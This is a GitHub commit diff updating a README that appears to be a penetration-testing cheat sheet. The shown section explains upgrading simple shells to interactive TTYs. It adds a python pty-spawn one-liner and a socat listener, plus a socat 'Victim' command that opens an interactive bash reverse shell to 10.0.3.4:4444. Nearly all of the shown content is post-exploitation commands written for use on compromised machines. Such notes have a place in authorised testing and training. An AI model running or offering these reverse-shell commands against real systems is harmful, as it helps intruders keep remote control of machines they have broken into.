Update Readme

This commit is contained in:
haudang217 2022-08-23 09:39:59 +07:00 committed by GitHub
parent bed03181e3
commit b48a140195
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -72,11 +72,13 @@ UPGRADING SIMPLE SHELLS TO FULLY INTERACTIVE TTYs
• using python
python -c 'import pty; pty.spawn("/bin/bash")'
• using socat
#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444
#Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
• using stty options
# In reverse shell
$ python -c 'import pty; pty.spawn("/bin/bash")'